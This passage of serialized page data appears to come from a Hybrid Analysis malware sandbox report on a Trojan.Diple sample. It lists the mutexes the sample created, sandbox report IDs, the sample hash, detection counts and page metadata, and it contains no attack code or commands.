SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7580:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"SM0:7580:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"Local\\SM0:7580:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"SM0:7580:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7580:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7580:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]}]}},"report_ids":{"sandbox_job_ids":["68e3751115973bbad10e2f79","5fdba5e930b02f7ff3672f63"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Diple Sample b72c2c98b467… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b72c2c98b467…. Malware family: Trojan.Diple. Threat score 100/100. 16/27 AV engines flagged this file. 6 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Diple Sample b72c2c98b467… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b72c2c98b467…. Malware family: Trojan.Diple. Threat score 100/100. 16/27 AV engines flagged this file. 6 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Diple Sample b72c2c98b467… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b72c2c98b467…. Malware family: Trojan.Diple. Threat score 100/100. 16/27 AV engines flagged this file. 6 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L34","11",{}]]